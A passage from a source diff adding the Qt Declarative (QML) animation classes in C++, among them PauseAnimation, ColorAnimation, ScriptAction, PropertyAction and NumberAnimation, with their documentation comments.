+ if (q->qtAnimation()->state() != QAbstractAnimation::Running) {
+ running = false;
+ emit q->completed();
+ }
+}
+
+QDeclarativeProperty QDeclarativeAbstractAnimationPrivate::createProperty(QObject *obj, const QString &str, QObject *infoObj)
+{
+ QDeclarativeProperty prop(obj, str, qmlContext(infoObj));
+ if (!prop.isValid()) {
+ qmlInfo(infoObj) << QDeclarativeAbstractAnimation::tr("Cannot animate non-existent property \"%1\"").arg(str);
+ return QDeclarativeProperty();
+ } else if (!prop.isWritable()) {
+ qmlInfo(infoObj) << QDeclarativeAbstractAnimation::tr("Cannot animate read-only property \"%1\"").arg(str);
+ return QDeclarativeProperty();
+ }
+ return prop;
+}
+
+void QDeclarativeAbstractAnimation::setRunning(bool r)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (!d->componentComplete) {
+ d->running = r;
+ if (r == false)
+ d->avoidPropertyValueSourceStart = true;
+ else if (!d->registered) {
+ d->registered = true;
+ QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this));
+ engPriv->registerFinalizedParserStatusObject(this, this->metaObject()->indexOfSlot("componentFinalized()"));
+ }
+ return;
+ }
+
+ if (d->running == r)
+ return;
+
+ if (d->group || d->disableUserControl) {
+ qmlInfo(this) << "setRunning() cannot be used on non-root animation nodes.";
+ return;
+ }
+
+ d->running = r;
+ if (d->running) {
+ bool supressStart = false;
+ if (d->alwaysRunToEnd && d->loopCount != 1
+ && qtAnimation()->state() == QAbstractAnimation::Running) {
+ //we've restarted before the final loop finished; restore proper loop count
+ if (d->loopCount == -1)
+ qtAnimation()->setLoopCount(d->loopCount);
+ else
+ qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount);
+ supressStart = true; //we want the animation to continue, rather than restart
+ }
+
+ if (!d->connectedTimeLine) {
+ QObject::connect(qtAnimation(), SIGNAL(finished()),
+ this, SLOT(timelineComplete()));
+ d->connectedTimeLine = true;
+ }
+ if (!supressStart)
+ d->commence();
+ emit started();
+ } else {
+ if (d->alwaysRunToEnd) {
+ if (d->loopCount != 1)
+ qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); //finish the current loop
+ } else
+ qtAnimation()->stop();
+
+ emit completed();
+ }
+
+ emit runningChanged(d->running);
+}
+
+/*!
+ \qmlproperty bool Animation::paused
+ This property holds whether the animation is currently paused.
+
+ The \c paused property can be set to declaratively control whether or not
+ an animation is paused.
+
+ Animations can also be paused and resumed imperatively from JavaScript
+ using the \c pause() and \c resume() methods.
+
+ By default, animations are not paused.
+*/
+bool QDeclarativeAbstractAnimation::isPaused() const
+{
+ Q_D(const QDeclarativeAbstractAnimation);
+ return d->paused;
+}
+
+void QDeclarativeAbstractAnimation::setPaused(bool p)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (d->paused == p)
+ return;
+
+ if (d->group || d->disableUserControl) {
+ qmlInfo(this) << "setPaused() cannot be used on non-root animation nodes.";
+ return;
+ }
+
+ d->paused = p;
+ if (d->paused)
+ qtAnimation()->pause();
+ else
+ qtAnimation()->resume();
+
+ emit pausedChanged(d->paused);
+}
+
+void QDeclarativeAbstractAnimation::classBegin()
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ d->componentComplete = false;
+}
+
+void QDeclarativeAbstractAnimation::componentComplete()
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ d->componentComplete = true;
+}
+
+void QDeclarativeAbstractAnimation::componentFinalized()
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (d->running) {
+ d->running = false;
+ setRunning(true);
+ }
+}
+
+/*!
+ \qmlproperty bool Animation::alwaysRunToEnd
+ This property holds whether the animation should run to completion when it is stopped.
+
+ If this true the animation will complete its current iteration when it
+ is stopped - either by setting the \c running property to false, or by
+ calling the \c stop() method. The \c complete() method is not effected
+ by this value.
+
+ This behavior is most useful when the \c repeat property is set, as the
+ animation will finish playing normally but not restart.
+
+ By default, the alwaysRunToEnd property is not set.
+
+ \note alwaysRunToEnd has no effect on animations in a Transition.
+*/
+bool QDeclarativeAbstractAnimation::alwaysRunToEnd() const
+{
+ Q_D(const QDeclarativeAbstractAnimation);
+ return d->alwaysRunToEnd;
+}
+
+void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (d->alwaysRunToEnd == f)
+ return;
+
+ d->alwaysRunToEnd = f;
+ emit alwaysRunToEndChanged(f);
+}
+
+/*!
+ \qmlproperty int Animation::loops
+ This property holds the number of times the animation should play.
+
+ By default, \c loops is 1: the animation will play through once and then stop.
+
+ If set to Animation.Infinite, the animation will continuously repeat until it is explicitly
+ stopped - either by setting the \c running property to false, or by calling
+ the \c stop() method.
+
+ In the following example, the rectangle will spin indefinitely.
+
+ \code
+ Rectangle {
+ width: 100; height: 100; color: "green"
+ RotationAnimation on rotation {
+ loops: Animation.Infinite
+ from: 0
+ to: 360
+ }
+ }
+ \endcode
+*/
+int QDeclarativeAbstractAnimation::loops() const
+{
+ Q_D(const QDeclarativeAbstractAnimation);
+ return d->loopCount;
+}
+
+void QDeclarativeAbstractAnimation::setLoops(int loops)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (loops < 0)
+ loops = -1;
+
+ if (loops == d->loopCount)
+ return;
+
+ d->loopCount = loops;
+ qtAnimation()->setLoopCount(loops);
+ emit loopCountChanged(loops);
+}
+
+
+int QDeclarativeAbstractAnimation::currentTime()
+{
+ return qtAnimation()->currentLoopTime();
+}
+
+void QDeclarativeAbstractAnimation::setCurrentTime(int time)
+{
+ qtAnimation()->setCurrentTime(time);
+}
+
+QDeclarativeAnimationGroup *QDeclarativeAbstractAnimation::group() const
+{
+ Q_D(const QDeclarativeAbstractAnimation);
+ return d->group;
+}
+
+void QDeclarativeAbstractAnimation::setGroup(QDeclarativeAnimationGroup *g)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ if (d->group == g)
+ return;
+ if (d->group)
+ static_cast<QDeclarativeAnimationGroupPrivate *>(d->group->d_func())->animations.removeAll(this);
+
+ d->group = g;
+
+ if (d->group && !static_cast<QDeclarativeAnimationGroupPrivate *>(d->group->d_func())->animations.contains(this))
+ static_cast<QDeclarativeAnimationGroupPrivate *>(d->group->d_func())->animations.append(this);
+
+ //if (g) //if removed from a group, then the group should no longer be the parent
+ setParent(g);
+}
+
+/*!
+ \qmlmethod Animation::start()
+ \brief Starts the animation.
+
+ If the animation is already running, calling this method has no effect. The
+ \c running property will be true following a call to \c start().
+*/
+void QDeclarativeAbstractAnimation::start()
+{
+ setRunning(true);
+}
+
+/*!
+ \qmlmethod Animation::pause()
+ \brief Pauses the animation.
+
+ If the animation is already paused, calling this method has no effect. The
+ \c paused property will be true following a call to \c pause().
+*/
+void QDeclarativeAbstractAnimation::pause()
+{
+ setPaused(true);
+}
+
+/*!
+ \qmlmethod Animation::resume()
+ \brief Resumes a paused animation.
+
+ If the animation is not paused, calling this method has no effect. The
+ \c paused property will be false following a call to \c resume().
+*/
+void QDeclarativeAbstractAnimation::resume()
+{
+ setPaused(false);
+}
+
+/*!
+ \qmlmethod Animation::stop()
+ \brief Stops the animation.
+
+ If the animation is not running, calling this method has no effect. The
+ \c running property will be false following a call to \c stop().
+
+ Normally \c stop() stops the animation immediately, and the animation has
+ no further influence on property values. In this example animation
+ \code
+ Rectangle {
+ NumberAnimation on x { from: 0; to: 100; duration: 500 }
+ }
+ \endcode
+ was stopped at time 250ms, the \c x property will have a value of 50.
+
+ However, if the \c alwaysRunToEnd property is set, the animation will
+ continue running until it completes and then stop. The \c running property
+ will still become false immediately.
+*/
+void QDeclarativeAbstractAnimation::stop()
+{
+ setRunning(false);
+}
+
+/*!
+ \qmlmethod Animation::restart()
+ \brief Restarts the animation.
+
+ This is a convenience method, and is equivalent to calling \c stop() and
+ then \c start().
+*/
+void QDeclarativeAbstractAnimation::restart()
+{
+ stop();
+ start();
+}
+
+/*!
+ \qmlmethod Animation::complete()
+ \brief Stops the animation, jumping to the final property values.
+
+ If the animation is not running, calling this method has no effect. The
+ \c running property will be false following a call to \c complete().
+
+ Unlike \c stop(), \c complete() immediately fast-forwards the animation to
+ its end. In the following example,
+ \code
+ Rectangle {
+ NumberAnimation on x { from: 0; to: 100; duration: 500 }
+ }
+ \endcode
+ calling \c stop() at time 250ms will result in the \c x property having
+ a value of 50, while calling \c complete() will set the \c x property to
+ 100, exactly as though the animation had played the whole way through.
+*/
+void QDeclarativeAbstractAnimation::complete()
+{
+ if (isRunning()) {
+ qtAnimation()->setCurrentTime(qtAnimation()->duration());
+ }
+}
+
+void QDeclarativeAbstractAnimation::setTarget(const QDeclarativeProperty &p)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ d->defaultProperty = p;
+
+ if (!d->avoidPropertyValueSourceStart)
+ setRunning(true);
+}
+
+/*
+ we rely on setTarget only being called when used as a value source
+ so this function allows us to do the same thing as setTarget without
+ that assumption
+*/
+void QDeclarativeAbstractAnimation::setDefaultTarget(const QDeclarativeProperty &p)
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ d->defaultProperty = p;
+}
+
+/*
+ don't allow start/stop/pause/resume to be manually invoked,
+ because something else (like a Behavior) already has control
+ over the animation.
+*/
+void QDeclarativeAbstractAnimation::setDisableUserControl()
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ d->disableUserControl = true;
+}
+
+void QDeclarativeAbstractAnimation::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_UNUSED(actions);
+ Q_UNUSED(modified);
+ Q_UNUSED(direction);
+}
+
+void QDeclarativeAbstractAnimation::timelineComplete()
+{
+ Q_D(QDeclarativeAbstractAnimation);
+ setRunning(false);
+ if (d->alwaysRunToEnd && d->loopCount != 1) {
+ //restore the proper loopCount for the next run
+ qtAnimation()->setLoopCount(d->loopCount);
+ }
+}
+
+/*!
+ \qmlclass PauseAnimation QDeclarativePauseAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The PauseAnimation element provides a pause for an animation.
+
+ When used in a SequentialAnimation, PauseAnimation is a step when
+ nothing happens, for a specified duration.
+
+ A 500ms animation sequence, with a 100ms pause between two animations:
+ \code
+ SequentialAnimation {
+ NumberAnimation { ... duration: 200 }
+ PauseAnimation { duration: 100 }
+ NumberAnimation { ... duration: 200 }
+ }
+ \endcode
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativePauseAnimation::QDeclarativePauseAnimation(QObject *parent)
+: QDeclarativeAbstractAnimation(*(new QDeclarativePauseAnimationPrivate), parent)
+{
+ Q_D(QDeclarativePauseAnimation);
+ d->init();
+}
+
+QDeclarativePauseAnimation::~QDeclarativePauseAnimation()
+{
+}
+
+void QDeclarativePauseAnimationPrivate::init()
+{
+ Q_Q(QDeclarativePauseAnimation);
+ pa = new QPauseAnimation;
+ QDeclarative_setParent_noEvent(pa, q);
+}
+
+/*!
+ \qmlproperty int PauseAnimation::duration
+ This property holds the duration of the pause in milliseconds
+
+ The default value is 250.
+*/
+int QDeclarativePauseAnimation::duration() const
+{
+ Q_D(const QDeclarativePauseAnimation);
+ return d->pa->duration();
+}
+
+void QDeclarativePauseAnimation::setDuration(int duration)
+{
+ if (duration < 0) {
+ qmlInfo(this) << tr("Cannot set a duration of < 0");
+ return;
+ }
+
+ Q_D(QDeclarativePauseAnimation);
+ if (d->pa->duration() == duration)
+ return;
+ d->pa->setDuration(duration);
+ emit durationChanged(duration);
+}
+
+QAbstractAnimation *QDeclarativePauseAnimation::qtAnimation()
+{
+ Q_D(QDeclarativePauseAnimation);
+ return d->pa;
+}
+
+/*!
+ \qmlclass ColorAnimation QDeclarativeColorAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits PropertyAnimation
+ \brief The ColorAnimation element animates changes in color values.
+
+ ColorAnimation is a specialized PropertyAnimation that defines an
+ animation to be applied when a color value changes.
+
+ Here is a ColorAnimation applied to the \c color property of a \l Rectangle
+ as a property value source. It animates the \c color property's value from
+ its current value to a value of "red", over 1000 milliseconds:
+
+ \snippet doc/src/snippets/declarative/coloranimation.qml 0
+
+ Like any other animation element, a ColorAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ For convenience, when a ColorAnimation is used in a \l Transition, it will
+ animate any \c color properties that have been modified during the state
+ change. If a \l{PropertyAnimation::}{property} or
+ \l{PropertyAnimation::}{properties} are explicitly set for the animation,
+ then those are used instead.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativeColorAnimation::QDeclarativeColorAnimation(QObject *parent)
+: QDeclarativePropertyAnimation(parent)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ d->interpolatorType = QMetaType::QColor;
+ d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType);
+ d->defaultToInterpolatorType = true;
+}
+
+QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
+{
+}
+
+/*!
+ \qmlproperty color ColorAnimation::from
+ This property holds the color value at which the animation should begin.
+
+ For example, the following animation is not applied until a color value
+ has reached "#c0c0c0":
+
+ \qml
+ Item {
+ states: [
+ // States are defined here...
+ ]
+
+ transition: Transition {
+ NumberAnimation { from: "#c0c0c0"; duration: 2000 }
+ }
+ }
+ \endqml
+
+ If the ColorAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the starting state of the
+ \l Transition, or the current value of the property at the moment the
+ \l Behavior is triggered.
+
+ \sa {QML Animation and Transitions}
+*/
+QColor QDeclarativeColorAnimation::from() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->from.value<QColor>();
+}
+
+void QDeclarativeColorAnimation::setFrom(const QColor &f)
+{
+ QDeclarativePropertyAnimation::setFrom(f);
+}
+
+/*!
+ \qmlproperty color ColorAnimation::to
+
+ This property holds the color value at which the animation should end.
+
+ If the ColorAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+
+ \sa {QML Animation and Transitions}
+*/
+QColor QDeclarativeColorAnimation::to() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->to.value<QColor>();
+}
+
+void QDeclarativeColorAnimation::setTo(const QColor &t)
+{
+ QDeclarativePropertyAnimation::setTo(t);
+}
+
+
+
+/*!
+ \qmlclass ScriptAction QDeclarativeScriptAction
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The ScriptAction element allows scripts to be run during an animation.
+
+ ScriptAction can be used to run a script at a specific point in an animation.
+
+ \qml
+ SequentialAnimation {
+ NumberAnimation {
+ // ...
+ }
+ ScriptAction { script: doSomething(); }
+ NumberAnimation {
+ // ...
+ }
+ }
+ \endqml
+
+ When used as part of a Transition, you can also target a specific
+ StateChangeScript to run using the \c scriptName property.
+
+ \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition
+
+ \sa StateChangeScript
+*/
+QDeclarativeScriptAction::QDeclarativeScriptAction(QObject *parent)
+ :QDeclarativeAbstractAnimation(*(new QDeclarativeScriptActionPrivate), parent)
+{
+ Q_D(QDeclarativeScriptAction);
+ d->init();
+}
+
+QDeclarativeScriptAction::~QDeclarativeScriptAction()
+{
+}
+
+void QDeclarativeScriptActionPrivate::init()
+{
+ Q_Q(QDeclarativeScriptAction);
+ rsa = new QActionAnimation(&proxy);
+ QDeclarative_setParent_noEvent(rsa, q);
+}
+
+/*!
+ \qmlproperty script ScriptAction::script
+ This property holds the script to run.
+*/
+QDeclarativeScriptString QDeclarativeScriptAction::script() const
+{
+ Q_D(const QDeclarativeScriptAction);
+ return d->script;
+}
+
+void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script)
+{
+ Q_D(QDeclarativeScriptAction);
+ d->script = script;
+}
+
+/*!
+ \qmlproperty string ScriptAction::scriptName
+ This property holds the the name of the StateChangeScript to run.
+
+ This property is only valid when ScriptAction is used as part of a transition.
+ If both script and scriptName are set, scriptName will be used.
+
+ \note When using scriptName in a reversible transition, the script will only
+ be run when the transition is being run forwards.
+*/
+QString QDeclarativeScriptAction::stateChangeScriptName() const
+{
+ Q_D(const QDeclarativeScriptAction);
+ return d->name;
+}
+
+void QDeclarativeScriptAction::setStateChangeScriptName(const QString &name)
+{
+ Q_D(QDeclarativeScriptAction);
+ d->name = name;
+}
+
+void QDeclarativeScriptActionPrivate::execute()
+{
+ Q_Q(QDeclarativeScriptAction);
+ if (hasRunScriptScript && reversing)
+ return;
+
+ QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script;
+
+ const QString &str = scriptStr.script();
+ if (!str.isEmpty()) {
+ QDeclarativeExpression expr(scriptStr.context(), scriptStr.scopeObject(), str);
+ QDeclarativeData *ddata = QDeclarativeData::get(q);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expr.setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ expr.evaluate();
+ if (expr.hasError())
+ qmlInfo(q) << expr.error();
+ }
+}
+
+void QDeclarativeScriptAction::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativeScriptAction);
+ Q_UNUSED(modified);
+
+ d->hasRunScriptScript = false;
+ d->reversing = (direction == Backward);
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+
+ if (action.event && action.event->typeName() == QLatin1String("StateChangeScript")
+ && static_cast<QDeclarativeStateChangeScript*>(action.event)->name() == d->name) {
+ d->runScriptScript = static_cast<QDeclarativeStateChangeScript*>(action.event)->script();
+ d->hasRunScriptScript = true;
+ action.actionDone = true;
+ break; //only match one (names should be unique)
+ }
+ }
+}
+
+QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
+{
+ Q_D(QDeclarativeScriptAction);
+ return d->rsa;
+}
+
+
+
+/*!
+ \qmlclass PropertyAction QDeclarativePropertyAction
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits Animation
+ \brief The PropertyAction element allows immediate property changes during animation.
+
+ PropertyAction is used to specify an immediate property change during an
+ animation. The property change is not animated.
+
+ It is useful for setting non-animated property values during an animation.
+
+ For example, here is a SequentialAnimation that sets the image's
+ \l {Image::}{smooth} property to \c true, animates the width of the image,
+ then sets \l {Image::}{smooth} back to \c false:
+
+ \snippet doc/src/snippets/declarative/propertyaction.qml standalone
+
+ PropertyAction is also useful for setting the exact point at which a property
+ change should occur during a \l Transition. For example, if PropertyChanges
+ was used in a \l State to rotate an item around a particular
+ \l {Item::}{transformOrigin}, it might be implemented like this:
+
+ \snippet doc/src/snippets/declarative/propertyaction.qml transition
+
+ However, with this code, the \c transformOrigin is not set until \e after
+ the animation, as a \l State is taken to define the values at the \e end of
+ a transition. The animation would rotate at the default \c transformOrigin,
+ then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
+ before the RotationAnimation begins:
+
+ \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
+
+ This immediately sets the \c transformOrigin property to the value defined
+ in the end state of the \l Transition (i.e. the value defined in the
+ PropertyAction object) so that the rotation animation begins with the
+ correct transform origin.
+
+ \sa {QML Animation and Transitions}, QtDeclarative
+*/
+QDeclarativePropertyAction::QDeclarativePropertyAction(QObject *parent)
+: QDeclarativeAbstractAnimation(*(new QDeclarativePropertyActionPrivate), parent)
+{
+ Q_D(QDeclarativePropertyAction);
+ d->init();
+}
+
+QDeclarativePropertyAction::~QDeclarativePropertyAction()
+{
+}
+
+void QDeclarativePropertyActionPrivate::init()
+{
+ Q_Q(QDeclarativePropertyAction);
+ spa = new QActionAnimation;
+ QDeclarative_setParent_noEvent(spa, q);
+}
+
+QObject *QDeclarativePropertyAction::target() const
+{
+ Q_D(const QDeclarativePropertyAction);
+ return d->target;
+}
+
+void QDeclarativePropertyAction::setTarget(QObject *o)
+{
+ Q_D(QDeclarativePropertyAction);
+ if (d->target == o)
+ return;
+ d->target = o;
+ emit targetChanged();
+}
+
+QString QDeclarativePropertyAction::property() const
+{
+ Q_D(const QDeclarativePropertyAction);
+ return d->propertyName;
+}
+
+void QDeclarativePropertyAction::setProperty(const QString &n)
+{
+ Q_D(QDeclarativePropertyAction);
+ if (d->propertyName == n)
+ return;
+ d->propertyName = n;
+ emit propertyChanged();
+}
+
+/*!
+ \qmlproperty Object PropertyAction::target
+ \qmlproperty list<Object> PropertyAction::targets
+ \qmlproperty string PropertyAction::property
+ \qmlproperty string PropertyAction::properties
+
+ These properties determine the items and their properties that are
+ affected by this action.
+
+ The details of how these properties are interpreted in different situations
+ is covered in the \l{PropertyAnimation::properties}{corresponding} PropertyAnimation
+ documentation.
+
+ \sa exclude
+*/
+QString QDeclarativePropertyAction::properties() const
+{
+ Q_D(const QDeclarativePropertyAction);
+ return d->properties;
+}
+
+void QDeclarativePropertyAction::setProperties(const QString &p)
+{
+ Q_D(QDeclarativePropertyAction);
+ if (d->properties == p)
+ return;
+ d->properties = p;
+ emit propertiesChanged(p);
+}
+
+QDeclarativeListProperty<QObject> QDeclarativePropertyAction::targets()
+{
+ Q_D(QDeclarativePropertyAction);
+ return QDeclarativeListProperty<QObject>(this, d->targets);
+}
+
+/*!
+ \qmlproperty list<Object> PropertyAction::exclude
+ This property holds the objects that should not be affected by this action.
+
+ \sa targets
+*/
+QDeclarativeListProperty<QObject> QDeclarativePropertyAction::exclude()
+{
+ Q_D(QDeclarativePropertyAction);
+ return QDeclarativeListProperty<QObject>(this, d->exclude);
+}
+
+/*!
+ \qmlproperty any PropertyAction::value
+ This property holds the value to be set on the property.
+
+ If the PropertyAction is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+*/
+QVariant QDeclarativePropertyAction::value() const
+{
+ Q_D(const QDeclarativePropertyAction);
+ return d->value;
+}
+
+void QDeclarativePropertyAction::setValue(const QVariant &v)
+{
+ Q_D(QDeclarativePropertyAction);
+ if (d->value.isNull || d->value != v) {
+ d->value = v;
+ emit valueChanged(v);
+ }
+}
+
+QAbstractAnimation *QDeclarativePropertyAction::qtAnimation()
+{
+ Q_D(QDeclarativePropertyAction);
+ return d->spa;
+}
+
+void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions,
+ QDeclarativeProperties &modified,
+ TransitionDirection direction)
+{
+ Q_D(QDeclarativePropertyAction);
+ Q_UNUSED(direction);
+
+ struct QDeclarativeSetPropertyAnimationAction : public QAbstractAnimationAction
+ {
+ QDeclarativeStateActions actions;
+ virtual void doAction()
+ {
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ const QDeclarativeAction &action = actions.at(ii);
+ QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+ }
+ };
+
+ QStringList props = d->properties.isEmpty() ? QStringList() : d->properties.split(QLatin1Char(','));
+ for (int ii = 0; ii < props.count(); ++ii)
+ props[ii] = props.at(ii).trimmed();
+ if (!d->propertyName.isEmpty())
+ props << d->propertyName;
+
+ QList<QObject*> targets = d->targets;
+ if (d->target)
+ targets.append(d->target);
+
+ bool hasSelectors = !props.isEmpty() || !targets.isEmpty() || !d->exclude.isEmpty();
+
+ if (d->defaultProperty.isValid() && !hasSelectors) {
+ props << d->defaultProperty.name();
+ targets << d->defaultProperty.object();
+ }
+
+ QDeclarativeSetPropertyAnimationAction *data = new QDeclarativeSetPropertyAnimationAction;
+
+ bool hasExplicit = false;
+ //an explicit animation has been specified
+ if (d->value.isValid()) {
+ for (int i = 0; i < props.count(); ++i) {
+ for (int j = 0; j < targets.count(); ++j) {
+ QDeclarativeAction myAction;
+ myAction.property = d->createProperty(targets.at(j), props.at(i), this);
+ if (myAction.property.isValid()) {
+ myAction.toValue = d->value;
+ QDeclarativePropertyAnimationPrivate::convertVariant(myAction.toValue, myAction.property.propertyType());
+ data->actions << myAction;
+ hasExplicit = true;
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+ if (action.property.object() == myAction.property.object() &&
+ myAction.property.name() == action.property.name()) {
+ modified << action.property;
+ break; //### any chance there could be multiples?
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (!hasExplicit)
+ for (int ii = 0; ii < actions.count(); ++ii) {
+ QDeclarativeAction &action = actions[ii];
+
+ QObject *obj = action.property.object();
+ QString propertyName = action.property.name();
+ QObject *sObj = action.specifiedObject;
+ QString sPropertyName = action.specifiedProperty;
+ bool same = (obj == sObj);
+
+ if ((targets.isEmpty() || targets.contains(obj) || (!same && targets.contains(sObj))) &&
+ (!d->exclude.contains(obj)) && (same || (!d->exclude.contains(sObj))) &&
+ (props.contains(propertyName) || (!same && props.contains(sPropertyName)))) {
+ QDeclarativeAction myAction = action;
+
+ if (d->value.isValid())
+ myAction.toValue = d->value;
+ QDeclarativePropertyAnimationPrivate::convertVariant(myAction.toValue, myAction.property.propertyType());
+
+ modified << action.property;
+ data->actions << myAction;
+ action.fromValue = myAction.toValue;
+ }
+ }
+
+ if (data->actions.count()) {
+ d->spa->setAnimAction(data, QAbstractAnimation::DeleteWhenStopped);
+ } else {
+ delete data;
+ }
+}
+
+/*!
+ \qmlclass NumberAnimation QDeclarativeNumberAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits PropertyAnimation
+ \brief The NumberAnimation element animates changes in qreal-type values.
+
+ NumberAnimation is a specialized PropertyAnimation that defines an
+ animation to be applied when a numerical value changes.
+
+ Here is a NumberAnimation applied to the \c x property of a \l Rectangle
+ as a property value source. It animates the \c x value from its current
+ value to a value of 50, over 1000 milliseconds:
+
+ \snippet doc/src/snippets/declarative/numberanimation.qml 0
+
+ Like any other animation element, a NumberAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ Note that NumberAnimation may not animate smoothly if there are irregular
+ changes in the number value that it is tracking. If this is the case, use
+ SmoothedAnimation instead.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativeNumberAnimation::QDeclarativeNumberAnimation(QObject *parent)
+: QDeclarativePropertyAnimation(parent)
+{
+ init();
+}
+
+QDeclarativeNumberAnimation::QDeclarativeNumberAnimation(QDeclarativePropertyAnimationPrivate &dd, QObject *parent)
+: QDeclarativePropertyAnimation(dd, parent)
+{
+ init();
+}
+
+QDeclarativeNumberAnimation::~QDeclarativeNumberAnimation()
+{
+}
+
+void QDeclarativeNumberAnimation::init()
+{
+ Q_D(QDeclarativePropertyAnimation);
+ d->interpolatorType = QMetaType::QReal;
+ d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType);
+}
+
+/*!
+ \qmlproperty real NumberAnimation::from
+ This property holds the starting value for the animation.
+
+ For example, the following animation is not applied until the \c x value
+ has reached 100:
+
+ \qml
+ Item {
+ states: [
+ // ...
+ ]
+
+ transition: Transition {
+ NumberAnimation { properties: "x"; from: 100; duration: 200 }
+ }
+ }
+ \endqml
+
+ If the NumberAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the starting state of the
+ \l Transition, or the current value of the property at the moment the
+ \l Behavior is triggered.
+
+ \sa {QML Animation and Transitions}
+*/
+
+qreal QDeclarativeNumberAnimation::from() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->from.toReal();
+}
+
+void QDeclarativeNumberAnimation::setFrom(qreal f)
+{
+ QDeclarativePropertyAnimation::setFrom(f);
+}
+
+/*!
+ \qmlproperty real NumberAnimation::to
+ This property holds the end value for the animation.
+
+ If the NumberAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the end state of the
+ \l Transition, or the value of the property change that triggered the
+ \l Behavior.
+
+ \sa {QML Animation and Transitions}
+*/
+qreal QDeclarativeNumberAnimation::to() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
+ return d->to.toReal();
+}
+
+void QDeclarativeNumberAnimation::setTo(qreal t)
+{
+ QDeclarativePropertyAnimation::setTo(t);
+}
+
+
+
+/*!
+ \qmlclass Vector3dAnimation QDeclarativeVector3dAnimation
+ \ingroup qml-animation-transition
+ \since 4.7
+ \inherits PropertyAnimation
+ \brief The Vector3dAnimation element animates changes in QVector3d values.
+
+ Vector3dAnimation is a specialized PropertyAnimation that defines an
+ animation to be applied when a Vector3d value changes.
+
+ Like any other animation element, a Vector3dAnimation can be applied in a
+ number of ways, including transitions, behaviors and property value
+ sources. The \l {QML Animation and Transitions} documentation shows a
+ variety of methods for creating animations.
+
+ \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}
+*/
+QDeclarativeVector3dAnimation::QDeclarativeVector3dAnimation(QObject *parent)
+: QDeclarativePropertyAnimation(parent)
+{
+ Q_D(QDeclarativePropertyAnimation);
+ d->interpolatorType = QMetaType::QVector3D;
+ d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType);
+ d->defaultToInterpolatorType = true;
+}
+
+QDeclarativeVector3dAnimation::~QDeclarativeVector3dAnimation()
+{
+}
+
+/*!
+ \qmlproperty real Vector3dAnimation::from
+ This property holds the starting value for the animation.
+
+ If the Vector3dAnimation is defined within a \l Transition or \l Behavior,
+ this value defaults to the value defined in the starting state of the
+ \l Transition, or the current value of the property at the moment the
+ \l Behavior is triggered.
+
+ \sa {QML Animation and Transitions}
+*/
+QVector3D QDeclarativeVector3dAnimation::from() const
+{
+ Q_D(const QDeclarativePropertyAnimation);
